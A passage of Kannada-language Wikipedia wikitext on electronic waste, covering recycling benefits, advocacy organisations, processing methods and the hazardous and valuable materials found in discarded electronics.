ವರ್ಜಿನ್‌ ಕಚ್ಚಾ ವಸ್ತುಗಳಿಗೆ ಬೇಡಿಕೆ ಕಡಿಮೆಯಾಗುವುದು; ಸಂಬಂಧಿಸಿದ ಉತ್ಪಾದನೆಗಳಿಗೆ ಅಧಿಕ ಪ್ರಮಾಣದ ಶುದ್ಧ ನೀರು ಮತ್ತು ವಿದ್ಯುತ್‌ ದೊರೆಯುವುದು; ಪ್ರತಿ ಘಟಕಕ್ಕೆ ಕಡಿಮೆ ಪ್ಯಾಕೆಂಜಿಂಗ್‌; ಕಡಿಮೆ ದರದ ಉತ್ಪನ್ನಗಳ ಕಾರಣ ಸಮಾಜದ ವಿಸ್ತೃತ ವರ್ಗಗಳಿಗೆ ತಂತ್ರಜ್ಞಾನದ ಲಭ್ಯತೆ; ಮತ್ತು ಕಸದ ರಾಶಿಗಳ ಕಡಿಮೆ ಬಳಕೆ. ಶ್ರವಣ-ದೃಶ್ಯ ಭಾಗಗಳು, ಟಿವಿಗಳು, [[ವಿಸಿಆರ್‌]]ಗಳು, [[ಸ್ಟೀರಿಯೋ ಉಪಕರಣ]], [[ಮೊಬೈಲ್‌ ಫೋನ್‌]]ಗಳು, ಇತರ ಕೈಬಳಕೆ ವಸ್ತುಗಳು, ಮತ್ತು [[ಕಂಪ್ಯೂಟರ್‌ ಭಾಗಗಳು]], ಸೀಸ, [[ತಾಮ್ರ]], ಮತ್ತು [[ಚಿನ್ನ]] ಸೇರಿದಂತೆ ವಾಪಾಸು ಪಡೆದುಕೊಳ್ಳಲು ಯೋಗ್ಯವಾದ ಅನೇಕ ಉಪಯುಕ್ತ ಪದಾರ್ಥಗಳನ್ನು ಹೊಂದಿರುತ್ತವೆ. === ಗ್ರಾಹಕ ಜಾಗ್ರತಾ ಪ್ರಯತ್ನಗಳು === * (AddressTheMess.com) ಅಡ್ರೆಸ್‌ದಮೆಸ್‌.ಕಾಂ‌ ಎಂಬುದು ಒಂದು [[ಕಾಮೆಡಿ ಸೆಂಟ್ರಲ್]] ಸಮಾಜಪರ ಆಂದೋಲನ, ಇದು ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದ ಅಪಾಯಗಳ ಬಗೆಗೆ ಜಾಗೃತಿಯನ್ನು ಮೂಡಿಸಲು ಮತ್ತು ಮರುಬಳಕೆಯನ್ನು ಪ್ರೋತ್ಸಾಹಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತದೆ. ಈ ಪ್ರಯತ್ನಕ್ಕೆ ಪಾಲುದಾರರೆಂದರೆ, ಅರ್ಥ್‌೯೧೧.ಒಆರ್‌ಜಿ(Earth911.org), ಈಕೋಇಂಟರ್‌ನ್ಯಾಷನಲ್‌.ಕಾಂ‌(ECOInternational.com), ಮತ್ತು [[ಯು.ಎಸ್‌ ಇಂಟರ್‌ನ್ಯಾಷನಲ್‌ ಪ್ರೊಟೆಕ್ಷನ್‌ ಏಜೆನ್ಸಿ‎]]. ಅನೇಕ Comedy Central ವೀಕ್ಷಕರು ಹೊಸ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳನ್ನು ಮೊದಲಿಗೇ ತೆಗೆದುಕೊಳ್ಳುವವರು, ಮತ್ತು ಮರುಬಲಕೆ ಮಾಡಬಹುದಾದ ಒಂದು ಸಂಘಟಿತ ಮೊತ್ತದ ತ್ಯಾಜ್ಯವನ್ನು ಉತ್ಪಾದಿಸುತ್ತಾರೆ. [[ನವೀಕರಿಸಬಹುದಾದ ಶಕ್ತಿ]] ಮತ್ತು [[ಇಂಗಾಲದ ಸಮತೋಲನ]] ಗಳಲ್ಲಿ ಪರಿಣತಿ ಪಡೆದಿರುವ ನೇಟಿವ್‌ಎನರ್ಜಿ.ಕಾಂ‌(NativeEnergy.com)ನ ಜೊತೆಗೆ ತಾನು ಪರಿಸರದ ಮೇಲೆ ಬೀರುವ ಪರಿಣಾಮವನ್ನು ಕಡಿಮೆ ಮಾಡುವುದಕ್ಕಾಗಿ ಅನೇಕ ಪ್ರಯತ್ನಗಳನ್ನು ಮಾಡುತ್ತಿದೆ. * ದ ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಟೇಕ್‌ಬ್ಯಾಕ್ ಕೊಅಲಿಶನ್ [http://www.electronicstakeback.com ] ಎಂಬುದು ಮಾನವನ ಆರೋಗ್ಯವನ್ನು ಕಾಪಾಡಲು ಮತ್ತು ವಿದ್ಯುನ್ಮಾನ ಸಂಬಂಧಿ ವಸ್ತುಗಳನ್ನು ತಯಾರಿಸುವ, ಬಳಸುವ ಮತ್ತು ವಿಸರ್ಜಿಸುವಲ್ಲಿ ಪರಿಸರದ ಮೇಲೆ ಉಂಟಾಗುವ ಕೆಟ್ಟ ಪರಿಣಾಮಗಳನ್ನು ನಿಯಂತ್ರಿಸುವುದಕ್ಕಾಗಿ ರೂಪಿಸಿರುವ ಆಂದೋಲನವಾಗಿದೆ. ETBC ಯು ತಂತ್ರಜ್ಞಾನದ ಉತ್ಪಾದನೆಗಳ ತ್ಯಜಿಸುವಿಕೆಯ ಜವಾಬ್ದಾರಿಯನ್ನು ಆಯಾ ವಿದ್ಯುನ್ಮಾನ ತಯಾರಕರು ಮತ್ತು ಆ ಬ್ರ್ಯಾಂಡ್ ಮಾಲೀಕರೇ ಹೊತ್ತುಕೊಳ್ಳಬೇಕು ಎಂಬುದನ್ನು ಜಾರಿಗೆ ತರಲು ಪ್ರಯತ್ನಿಸುತ್ತಿದೆ ಮತ್ತು ಇದಕ್ಕಾಗಿ ಅದು ಸಮುದಾಯದ ಮೂಲಕ ಮತ್ತು ನಂತರದಲ್ಲಿ ಕಾನೂನಿನ ಮೂಲಕ ಇದನ್ನು ಸಾಧಿಸಲು ಹೊರಟಿದೆ. ಇದು ಬಳಕೆದಾರರ ಮರುಬಳಕೆಗೆ ಕೆಲವು ಸಲಹೆಗಳನ್ನು ನೀಡುತ್ತದೆ ಮತ್ತು ಹಲವಾರು ಮರುಬಳಕೆದಾರರನ್ನು ಪರಿಸರದ ಕುರಿತಂತೆ ಹೆಚ್ಚು ಜವಾಬ್ದಾರಿಯಿರುವವರು ಎಂದು ತೀರ್ಮಾನಿಸಿ ಪಟ್ಟಿಮಾಡಿದೆ.<ref>{{cite web|url=http://www.electronicstakeback.com/recycling/find_a_responsible_recycler_withmap.htm|publisher=Electronics TakeBack Coalition|title=How to Find a Responsible Recycler}}</ref> * [[ಸಿಲಿಕಾನ್ ವ್ಯಾಲಿ ಟಾಕ್ಸಿಕ್ಸ್ ಕೊಅಲಿಶನ್]] (svtc.org) ಸಂಸ್ಥೆಯು ಮಾನವನ ಆರೋಗ್ಯವನ್ನು ಹೆಚ್ಚಿಸುವ ಕಡೆ ಗಮನಹರಿಸುತ್ತದೆ ಮತ್ತು ತಂತ್ರಜ್ಞಾನದಿಂದ ಉದ್ಭವಿಸುವ ವಿಷಯುಕ್ತ ಪದಾರ್ಥಗಳಿಂದಾಗಿ ಉಂಟಾಗುವ ಪರಿಸರದ ನ್ಯಾಯವನ್ನು ಎಲ್ಲರಿಗೂ ದೊರಕಿಸಿಕೊಡಲು ಕೆಲಸ ಮಾಡುತ್ತದೆ. * [[ಬಾಸೆಲ್ ಆ‍ಯ್‌ಕ್ಷನ್ ನೆಟ್‌ವರ್ಕ್]] (BAN.org) ಜಾಗತೀಕ ಪಾರಿಸಾರಿಕ ಅನ್ಯಾಯಗಳನ್ನು ಮತ್ತು ಜಾಗತೀಕ "ವಿಷ ವ್ಯಾಪಾರ"ದಲ್ಲಿನ ಆರ್ಥಿಕ ಅಸಾಮರ್ಥ್ಯಗಳನ್ನು ಸರಿಪಡಿಸುವ ಉದ್ದೇಶಕ್ಕಾಗಿಯೇ ಕೆಲಸ ಮಾಡುತ್ತದೆ. ಇದು ಅಳತೆ ತಪ್ಪಿ ದೊಡ್ಡ ಮಟ್ಟದಲ್ಲಿ ಇಂತಹ ತ್ಯಾಜ್ಯಗಳನ್ನು ಒಂದು ಪ್ರದೇಶದಲ್ಲಿ ಸುರಿಸುವುದನ್ನು ತಡೆಯುವ ಮೂಲಕ ಮಾನವ ಹಕ್ಕುಗಳಿಗಾಗಿ ಮತ್ತು ಪರಿಸರಕ್ಕಾಗಿ ಕೆಲಸ ಮಾಡುತ್ತದೆ. ಇದು ಉಳಿಸಿಕೊಳ್ಳಬಲ್ಲ ಪರಿಹಾರಗಳನ್ನು ಉತ್ತೇಜಿಸುತ್ತದೆ ಮತ್ತು ತ್ಯಾಜ್ಯ ಮಾರಾಟವನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ನಿಷೇಧಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತದೆ. * [[ಟೆಕ್ಸಾಸ್ ಕ್ಯಾಂಪೇನ್ ಫಾರ್ ದ ಎನ್ವಿರಾನ್‌ಮೆಂಟ್]] (texasenvironment.org) ಸಂಸ್ಥೆಯು ಇ-ತ್ಯಾಜ್ಯ ಮರುಬಳಕೆಗೆ ಮೂಲಭೂತ ಬೆಂಬಲವನ್ನು ಪಡೆಯಲು ಕೆಲಸ ಮಾಡುತ್ತದೆ ಮತ್ತು ಸಮುದಾಯ ಬೆಂಬಲವನ್ನು ಪಡೆಯುವ ಮೂಲಕ ವಿದ್ಯುನ್ಮಾನ ತಯಾರಕರಿಗೆ ಮತ್ತು ಚುನಾಯಿತ ಅಧಿಕಾರಿಗಳಿಗೆ ಒತ್ತಡವನ್ನು ಹೇರುವ ಮೂಲಕ ಉತ್ಪಾದಕರು ಮರುಬಳಕೆ ನೀತಿಯನ್ನು ಮರಳಿ ಪಡೆದು ಮರುಬಳಕೆ ಕಾರ್ಯಕ್ರಮಗಳಿಗೆ ಕುರಿತಂತೆ ತಾವೇ ಜವಾಬ್ದಾರಿಯನ್ನು ಹೊರಬೇಕೆಂದು ಒತ್ತಾಯಮಾಡುವ ಕೆಲಸ ಮಾಡುತ್ತದೆ. * ದ ವರ್ಲ್ಡ್ ರಿಯೂಸ್, ರಿಪೇರ್, ಅಂಡ್ ರಿಸೈಕ್ಲಿಂಗ್ ಅಸೋಸಿಯೇಶನ್ (wr೩a.org) ಸಂಸ್ಥೆಯು ರಫ್ತು ಮಾಡುವ ವಿದ್ಯುನ್ಮಾನ ವಸ್ತುಗಳ ಗುಣಮಟ್ಟವನ್ನು ಹೆಚ್ಚಿಸಲು ಪ್ರಾರಂಭವಾಗಿರುವ ಸಂಸ್ಥೆ. ಇದು ಅಮದು ಮಾಡಿಕೊಳ್ಳುವ ದೇಶಗಳಲ್ಲಿ ಉತ್ತಮವಾದ ಮರುಬಳಕೆಯನ್ನು ಉತ್ತೇಜಿಸುವುದಕ್ಕಾಗಿ, ಮತ್ತು ಮತ್ತು "ಒಳ್ಳೆಯ ವ್ಯಾಪಾರ" ನೀತಿಗಳ ಮೂಲಕ ಈ ಪದ್ಧತಿಗಳನ್ನು ಉತ್ತಮಪಡಿಸಿಕೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸುತ್ತದೆ. == ಸಂಸ್ಕರಿಸುವ ವಿಧಾನಗಳು == ಅಭಿವೃದ್ಧಿ ಹೊಂದಿದ ದೇಶಗಳಲ್ಲಿ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯಗಳ ಪ್ರಕ್ರಿಯೆಯು ಸಾಧನಗಳ ಭಾಗಗಳನ್ನು (ಲೋಹದ ಫ್ರೇಮ್, ವಿದ್ಯುತ್ ಸರಬರಾಜು ವ್ಯವಸ್ಥೆ, ಸರ್ಕ್ಯುಟ್ ಬೋರ್ಡ್, ಪ್ಲ್ಯಾಸ್ಟಿಕ್‌ಗಳು) ಕೈಯಿಂದ ಬಿಡಿಸುವ ಮೂಲಕ ಪ್ರಾರಂಭವಾಗುತ್ತದೆ. ಈ ಪ್ರಕ್ರಿಯೆಯ ಉಪಯೋಗಗಳೆಂದರೆ ಯಾವ ಚಿಪ್‌ಗಳು, ಟ್ರಾನ್ಸಿಸ್ಟರ್‌ಗಳು, ಆರ್‌ಎ‍ಎಮ್ ಮುಂತಾದ ಭಾಗಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳಬಹುದು ಅಥವಾ ರಿಪೇರಿ ಮಾಡಬಹುದು ಎಂದು ಯೋಚಿಸಿ ಅವುಗಳನ್ನು ಉಳಿಸಿಕೊಳ್ಳುವ ಮನುಷ್ಯನ ಸಾಮರ್ಥ್ಯ. ಆದರೆ ಇದರ ತೊಂದರೆಯೆಂದರೆ ಯಾವ ದೇಶದಲ್ಲಿ ಆರೋಗ್ಯ ಮತ್ತು ರಕ್ಷಣೆ ಪ್ರಮಾಣಗಳು ಕೆಳಮಟ್ಟದಲ್ಲಿವೆಯೋ ಅಂತಹ ದೇಶದಲ್ಲಿಯೇ ಅತ್ಯಂತ ಕಡಿಮೆ ಬೆಲೆಗೆ ಕೆಲಸಗಾರರು ಸಿಗುವುದು. ಒಂದು ಪರ್ಯಾಯ ಬಲ್ಕ್ ವ್ಯವಸ್ಥೆಯಲ್ಲಿ, ಒಂದು ಯಾಂತ್ರಿಕ ವಿಭಾಜಕವನ್ನು ಬಳಸಿಕೊಂಡು ಇಂಥ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯಗಳನ್ನು ವಿಭಾಜಿಸಿ ಉಪಯುಕ್ತವಾದುದನ್ನು ಉಳಿಸಿಕೊಂಡು, ಉಳಿದದ್ದನ್ನು ವಿಲೇವಾರಿ ಮಾಡುವುದು, ಮತ್ತು ಉಪಯುಕ್ತವಾದುದನ್ನು ಗಳಿಗೆ ಅಥವಾ ಪ್ಲ್ಯಾಸ್ಟಿಕ್ [[ಮರುಬಳಕೆದಾರ]]ರಿಗೆ ಮಾರುವುದು. ಅಂತಹ ಮರುಬಳಕೆ ಯಂತ್ರಗಳನ್ನು ಒಟ್ಟುಗೂಡಿಸಲಾಗುತ್ತದೆ ಮತ್ತು ಅದು ಒಂದು [[ಡಸ್ಟ್ ಕಲೆಕ್ಷನ್ ಸಿಸ್ಟಮ್]] ಅನ್ನು ಬಳಸಿಕೊಳ್ಳುತ್ತದೆ. ಹೆಚ್ಚಿನ ಹೊರಕಳಿಸುವಿಕೆಗಳನ್ನು ಉಜ್ಜುಗಗಳು ಮತ್ತು ಪರದೆಗಳು ಹಿಡಿಯುತ್ತವೆ. ಅಯಸ್ಕಾಂತಗಳು, [[ಎಡ್ಡಿ ಕರೆಂಟ್‌ಗಳು]], ಮತ್ತು [[ಟ್ರೊಮೆಲ್]] ಪರದೆಗಳನ್ನು ಗಾಜು, ಪ್ಲ್ಯಾಸ್ಟಿಕ್, ಮತ್ತು [[ಕಬ್ಬಿಣಯುಕ್ತ]] ಮತ್ತು ಕಬ್ಬಿಣಯುಕ್ತವಲ್ಲದ ಲೋಹಗಳನ್ನು ಬೇರ್ಪಡಿಸಿ ನಂತರದಲ್ಲಿ [[ಕುಲುಮೆ]]ಯಲ್ಲಿ ಇನ್ನೂ ಹೆಚ್ಚಿನ ಬೇರ್ಪಡಿಸುವಿಕೆಯನ್ನು ಮಾಡಬಹುದು. ಸಿಆರ್‌‍ಟಿಗಳ ಸೀಸ ಹೊಂದಿರುವ ಗಾಜುಗಳನ್ನು ಕಾರಿನ ಬ್ಯಾಟರಿಗಳಲ್ಲಿ, ಮದ್ದುಗುಂಡಿನಲ್ಲಿ ಮತ್ತು ಲೆಡ್ ಚಕ್ರ ಭಾರಗಳಲ್ಲಿ ಬಳಸಲಾಗುತ್ತದೆ<ref name="smith"/> ಅಥವಾ ಎರಕಗಾರಗಳಲ್ಲಿ [[ಸೀಸದ ಅದಿರ]]ನ್ನು ಪ್ರಕ್ರಿಯೆಗೊಳಪಡಿಸಲು [[ಫ್ಲಕ್ಸಿಂಗ್ ಏಜೆಂಟ್]] ಆಗಿ ಬಳಸಲಾಗುತ್ತದೆ. ತಾಮ್ರ, ಬಂಗಾರ, ಪೆಲ್ಲಾಡಿಯಮ್, ಬೆಳ್ಳಿ, ಮತ್ತು ತವರಗಳು [[ಕುಲುಮೆಗಳಿಗೆ]] ಮರುಬಳಕೆಗೆ ನೀಡಲಾದ ಅತ್ಯಂತ ಬೆಲೆಬಾಳುವ ಲೋಹಗಳಾಗಿವೆ. ಅಪಾಯಕಾರಿ ಹೊಗೆ ಮತ್ತು ಅನಿಲಗಳನ್ನು ಹಿಡಿದು, ಸಂಗ್ರಹಿಸಿ ಅವುಗಳನ್ನು ಪ್ರಕ್ರಿಯೆಗೊಳಪಡಿಸುವ ಮೂಲಕ ಪರಿಸರಕ್ಕೆ ಆಗುವ ಹಾನಿಯನ್ನು ತಡೆಗಟ್ಟಲಾಗುತ್ತದೆ. ಈ ಪ್ರಕ್ರಿಯೆಗಳು ಬೆಲೆಬಾಳುವ ಕಂಪ್ಯೂಟರ್ ಭಾಗಗಳನ್ನು ಯಾವುದೇ ತೊಂದರೆಯಿಲ್ಲದೇ ಸಂಗ್ರಹಿಸಲು ಸಹಾಯ ಮಾಡುತ್ತವೆ.<ref name="ng"/> ಹೆಲ್ವೆಟ್-ಪೆಕರ್ಡ್ ಉತ್ಪನ್ನ ಮರುಬಳಕೆ ಪರಿಹಾರದ ಮ್ಯಾನೇಜರ್ ರೀನೆ ಸೆಂ. ಡೆನಿಸ್ ಈ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹೀಗೆ ವಿವರಿಸುತ್ತಾರೆ: "ನಾವು ಮೊದಲು ಅವುಗಳನ್ನು ಸುಮಾರು ೩೦ ಅಡಿ ಎತ್ತರದ ಬೃಹತ್ ಗಾತ್ರದ ಕತ್ತರಿಸುವ ಸಾಧನಗಳಲ್ಲಿ ಹಾಕುತ್ತೇವೆ ಮತ್ತು ಅದು ನಾಲ್ಕನೇ ಒಂದರ ಗಾತ್ರಕ್ಕೆ ಎಲ್ಲವನ್ನೂ ಕತ್ತರಿಸುತ್ತದೆ. ಒಂದು ಬಾರಿ ನಿಮ್ಮ ಡಿಸ್ಕ್ ಡ್ರೈವ್ ಗಳನ್ನು ಈ ಗಾತ್ರಕ್ಕೆ ತುಂಡುಗಳಾಗಿಸಿದ ನಂತರ ಅದರಲ್ಲಿರುವ ದತ್ತಾಂಶವನ್ನು ಮರಳಿ ಪಡೆಯುವುದು ಕಷ್ಟ.<ref name="ft">{{cite news|url=http://www.accessmylibrary.com/coms2/summary_0286-22405423_ITM|title=Recycling, the Hewlett-Packard Way|publisher=[[CNN]]|author=Haffenreffer, David|date=2003-02-13|accessdate=2009-03-17|work=[[Financial Times]]|archiveurl=https://archive.today/20130102054053/http://www.accessmylibrary.com/search/?q=Recycling,%20the%20Hewlett-Packard%20Way,%20CNNfn.|archivedate=2013-01-02|url-status=live}}</ref> ಒಂದು ಆದರ್ಶಯುತವಾದ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ ಮರುಬಳಕೆ ಸ್ಥಾವರವು ಭಾಗಗಳನ್ನು ಮರಳಿ ಪಡೆಯಲು ಸಾಧ್ಯವಾಗುವಂತೆ ಬಿಡಿಸುವುದು ಮತ್ತು ಕಡಿಮೆ ಬೆಲೆಯಲ್ಲಿ ಬೃಹತ್ ಗಾತ್ರದ ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯದ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಮಾಡುವುದು ಎರಡನ್ನೂ ಹೊಂದಿರಬೇಕು. ಮರುಬಳಕೆಯು ಪ್ರಕ್ರಿಯೆಯ ಒಂದು ಆಯ್ಕೆಯೆಂದರೆ ವಸ್ತುವನ್ನು ಪುನಃ ಬಳಕೆ ಮಾಡುವುದು, ಆ ಮೂಲಕ ಒಂದು ಸಾಧನದ ಬಳಕೆಯ ಅವಧಿಯನ್ನು ಹೆಚ್ಚಿಸುವುದು. ಸಾಧನಗಳಿಗೆ ಇನ್ನೂ ಸಂಭಾವ್ಯ ಮರುಬಳಕೆಯ ಸಾಧ್ಯತೆಯಿವೆ, ಆದರೆ ಇತರರಿಗೆ ಬಳಸಿದ ವಿದ್ಯುನ್ಮಾನಯಂತ್ರಗಳನ್ನು ಕೊಳ್ಳಲು ಬಿಡುವ ಮೂಲಕ ಮರುಬಳಕೆಯನ್ನು ಮುಂದೂಡಬಹುದು ಮತ್ತು ಅದರ ಲಾಭ ಪಡೆಯಬಹುದು. == ವಿದ್ಯುನ್ಮಾನ ತ್ಯಾಜ್ಯ ಪದಾರ್ಥಗಳು == ಕೆಲವು ಕಂಪ್ಯೂಟರ್‌ ಪದಾರ್ಥಗಳನ್ನು ಹೊಸ ಕಂಪ್ಯೂಟರ್‌ ಅಸೆಂಬಲ್‌ ಮಾಡುವಾಗ ಬಳಸಬಹುದು, ಆದರೆ ಬೇರೆಯವನ್ನು ಕಟ್ಟಡನಿರ್ಮಾಣ, ಫ್ಲ್ಯಾಟ್‌‍ವೇರ್‌, ಮತ್ತು ಆಭರಣಗಳಂತಹ ವಿಭಿನ್ನ ಉಪಯೋಗಗಳಿಗೆ ಒದಗುವ ಲೋಹಗಳಿಗೆ ಇಳಿಸಲಾಗುತ್ತದೆ.<ref name="ft"/> ದೊಡ್ಡ ಮೊತ್ತಗಳಲ್ಲಿ ಸಿಗುವ ಪದಾರ್ಥಗಳೆಂದರೆ [[ಎಪೋಕ್ಸಿ ರೆಸಿನ್ಸ್‌]], [[ಫೈಬರ್‌ಗ್ಲಾಸ್‌]], [[ಪಿಸಿಬಿಗಳು]], [[ಪಿವಿಸಿ]], [[ತರ್ಮೋಸೆಟ್ಟಿಂಗ್‌ ಪ್ಲಾಸ್ಟಿಕ್‌ಗಳು]], [[ಸೀಸ]], [[ತವರ]], [[ತಾಮ್ರ]], [[ಸಿಲಿಕಾನ್‌]], [[ಬೆರಿಲಿಯಮ್]], [[ಇಂಗಾಲ]], [[ಕಬ್ಬಿಣ]] ಮತ್ತು [[ಅಲ್ಯೂಮಿನಿಯಮ್‌]]. ಕಡಿಮೆ ಪ್ರಮಾಣದಲ್ಲಿ ಸಿಗುವ ವಸ್ತುಗಳೆಂದರೆ [[ನೀಲಿ ತವರ]], [[ಪಾದರಸ]], ಮತ್ತು [[ತೇಲಿಯಮ್‌]].<ref name="sl2007">{{cite web|title=Chemical fact sheet: Thallium|publisher=Spectrum Laboratories|url=http://www.speclab.com/elements/thallium.htm|accessdate=2008-02-02|archive-date=2008-02-21|archive-url=https://web.archive.org/web/20080221222321/http://www.speclab.com/elements/thallium.htm|url-status=dead}}</ref> ಸೋಸು ಪ್ರಮಾಣದಲ್ಲಿ ಸಿಗುವ ವಸ್ತುಗಳೆಂದರೆ [[ಅಮೇರಿಷಿಯಮ್‌]], [[ಆಂಟಿಮೊನಿ]], [[ಆರ್ಸೆನಿಕ್‌]], [[ಬೇರಿಯಮ್‌]], [[ಬಿಸ್ಮತ್‌]], [[ಬೋರೋನ್‌]], [[ಕೋಬಾಲ್ಟ್‌]], [[ಯುರೋಪಿಯಮ್‌]], [[ಗೇಲಿಯಮ್‌]], [[ಜರ್ಮೇನಿಯಮ್‌]], [[ಚಿನ್ನ]], [[ಇಂಡಿಯಮ್‌]], [[ಲಿತಿಯಮ್‌]], [[ಮ್ಯಾಂಗನೀಸ್‌]], [[ನಿಕಲ್‌]], [[ನಯೋಬಿಯಮ್]], [[ಪ್ಯಾಲೇಡಿಯಮ್‌]], [[ಪ್ಲಾಟಿನಮ್‌]], [[ರೋಢಿಯಮ್‌]], [[ರುದೇನಿಯಮ್‌]], [[ಸೆಲೆನಿಯಮ್‌]], [[ಬೆಳ್ಳಿ]], [[ಟ್ಯಾಂಟಲಮ್‌]], [[ಟರ್ಬಿಯಮ್‌]], [[ತೋರಿಯಮ್‌]], [[ಟೈಟ್ಯಾನಿಯಮ್‌]], [[ವೆನಡಿಯಮ್‌]], ಮತ್ತು [[ಎಟ್ಟ್ರಿಯಮ್‌]]. ಸೀಸ-ರಹಿತ ಸಾಲ್ಡರ್‌ಗಳು ಈಗ ಬಹು ಜನಪ್ರಿಯವಾಗುತ್ತಿದೆಯದರೂ, ಬಹುತೇಕ ಎಲ್ಲ ವಿದ್ಯುನ್ಮಾನ ಉಪಕರಣಗಳೂ ಸೀಸ ಮತ್ತು ತವರವನ್ನು ಹೊಂದಿರುತ್ತದೆ (ಸಾಲ್ಡರ್‌ಆಗಿ) ಮತ್ತು ತಾಮ್ರವನ್ನು ಹೊಂದಿರುತ್ತದೆ (ತಂತಿ ಮತ್ತು [[ಪ್ರಿಂಟೆಡ್‌ ಸರ್ಕ್ಯೂಟ್‌ ಬೋರ್ಡ್‌]] ಟ್ರ್ಯಾಕ್‌ಗಳಾಗಿ). ಕೆಲವು ಸಾಮಾನ್ಯ ಉಪಯೋಗಗಳನ್ನು ಕೆಳಗೆ ಕೊಟ್ಟಿದೆ: === ಅಪಾಯಕಾರಿ === * [[ಅಮೇರಿಷಿಯಮ್‌]]: [[ಹೊಗೆ ಅಲಾರಾಂ‌]]ಗಳು (ರೇಡಿಯೋಆ‍ಯ್‌‍ಕ್ಟಿವ್ ಮೂಲ). * [[ಪಾದರಸ]]: [[ಫ್ಲೂರೋಸೆಂಟ್‌ ಟ್ಯೂಬ್‌]]ಗಳು (ಅನೇಕ ಉಪಯೋಗಗಳು), ಬಾಗು ಸ್ವಿಚ್‌ಗಳು (ಪಿನ್‌ಬಾಲ್‌ ಆಟಗಳು, ಯಾಂತ್ರಿಕ ಕರೆಗಂಟೆಗಳು, [[ತರ್ಮೋಸ್ಟಾಟ್‌]]ಗಳು). ಹೊಸ ತಂತ್ರಜ್ಞಾನಗಳು ಬರುತ್ತಿದ್ದಂತೆ, ಹೊಸ-ಮಾದರಿ ಕಂಪ್ಯೂಟರ್‌ಗಳಲ್ಲಿ ಪಾದರಸವನ್ನು ಕೈಬಿಡುವ ಕೆಲಸಗಳಾಗುತ್ತಿವೆ.<ref>{{cite web|url=http://www.epa.gov/dfe/pubs/comp-dic/lca-sum/ques8.pdf|title=Question 8}}</ref> * [[ಸಲ್ಫರ್‌]]: [[ಸೀಸದ-ಆಮ್ಲ ಬ್ಯಾಟರಿಗಳು]]. * [[ಪಿಸಿಬಿಗಳು]]: ನಿಷೇದಿಸುವ ಮೊದಲು, ೧೯೩೦–೧೯೭೦ರ ದಶಕದ ಕ್ಯಾಪಾಸಿಟರ್ಸ್‌, ಟ್ರಾನ್ಸ್‌ಫಾರ್ಮರ್ಸ್‌, ವೈರಿಂಗ್‌ ಇನ್ಸುಲೇಷನ್‌, ಬಣ್ಣಗಳು, ಶಾಯಿಗಳು, ಮತ್ತು ಫ್ಲೆಕ್ಸಿಬಲ್‌ ಮುದ್ರಕಗಳನ್ನೊಳಗೊಂಡು ಬಹುತೇಕ ಎಲ್ಲ ಉಪಕರಣಗಳಿಗೂ ಇದನ್ನು ಬಳಸಲಾಗುತ್ತಿತ್ತು. * [[ನೀಲಿ ತವರ]]: ಬೆಳಕು-ಗ್ರಾಹಿ ನಿರೋಧಕಗಳು, ಜಲ ಮತ್ತು ವಾಯು ಪರಿಸರಗಳಿಗಾಗಿ ತುಕ್ಕು-ನಿರೋಧಕ ಮಿಶ್ರಲೋಹಗಳು, [[ನಿಕಲ್-ನೀಲಿತವರ ಬ್ಯಾಟರಿಗಳು]]. * [[ಸೀಸ]]: ಹಳೆಯ [[ಸಾಲ್ಡರ್‌]], ಸಿಆರ್‌ಟಿ ಮಾನಿಟರ್‌ ಗಾಜು, [[ಸೀಸದ ಆಮ್ಲ ಬ್ಯಾಟರಿಗಳು]], ಪಿವಿಸಿಯ ಕೆಲವು ರೂಪಕಗಳು.<ref>{{cite news|url=http://www.collectivegood.com/environmental.asp|title=CollectiveGood and Environmental Issues}}</ref> ಒಂದು ಸಾಮಾನ್ಯ ೧೫-ಇಂಚಿನ ಕ್ಯಾತೋಡ್‌ ಕಿರಣ ನಳಿಕೆಯು ೧.೫ ಪೌಂಡ್‌ಗಳಷ್ಟು ಸೀಸವನ್ನು ಹೊಂದಿರುತ್ತದೆ,<ref name="sb"/> ಆದರೆ ಇತರ ಸಿಆರ್‌ಟಿಗಳು ೮ ಪೌಂಡ್‌ಗಳವರೆಗೂ ಸೀಸವನ್ನು ಹೊಂದಿರುತ್ತವೆಂದು ಅಂದಾಜು ಮಾಡಲಾಗಿದೆ.<ref name="smith">{{cite news|url=http://www.accessmylibrary.com/coms2/summary_0286-9604019_ITM|title=E-gad! Americans discard more than 100 million computers, cellphones and other electronic devices each year. As "e-waste" piles up, so does concern about this growing threat to the environment.|author=Royte, Elizabeth|date=2005-08-01|accessdate=2009-03-17|publisher=[[Smithsonian Institution]]|work=[[Smithsonian Magazine]]|archiveurl=https://archive.today/20150522074002/https://www.questia.com/|archivedate=2015-05-22|url-status=live}}</ref> * [[ಬೆರಿಲಿಯಮ್‌]] : ಕೆಲವು ಉಷ್ಣ ಸಂಪರ್ಕಸಾಧನ ಪದಾರ್ಥಗಳಾದ [[ಸಿಪಿಯು]]ಗಳಿಗೆ ಬಳಸುವ [[ಹೀಟ್‌ಸಿಂಕ್‌]]ಗಳ ಮೇಲೆ ಬಳಸುವ [[ಉಷ್ಣದ ಗ್ರೀಸ್]] ಮತ್ತು [[ಪವರ್‌ ಟ್ರಾನ್ಸಿಸ್ಟರ್]]ಗಳು,<ref name="apmag">{{cite journal|author=Becker, Greg; Lee, Chris; Lin, Zuchen|title=Thermal conductivity in advanced chips: Emerging generation of thermal greases offers advantages|journal=Advanced Packaging|month=July|year=2005|pages=2–4|url=http://www.apmag.com/|accessdate=2008-03-04}}</ref> [[ಮ್ಯಾಗ್ನೆಟ್ರಾನ್‌]]ಗಳು, ಕ್ಷ-ಕಿರಣ-ಪಾರದರ್ಶಕ ಸೆರಾಮಿಕ್‌ ಕಿಟಕಿಗಳು, 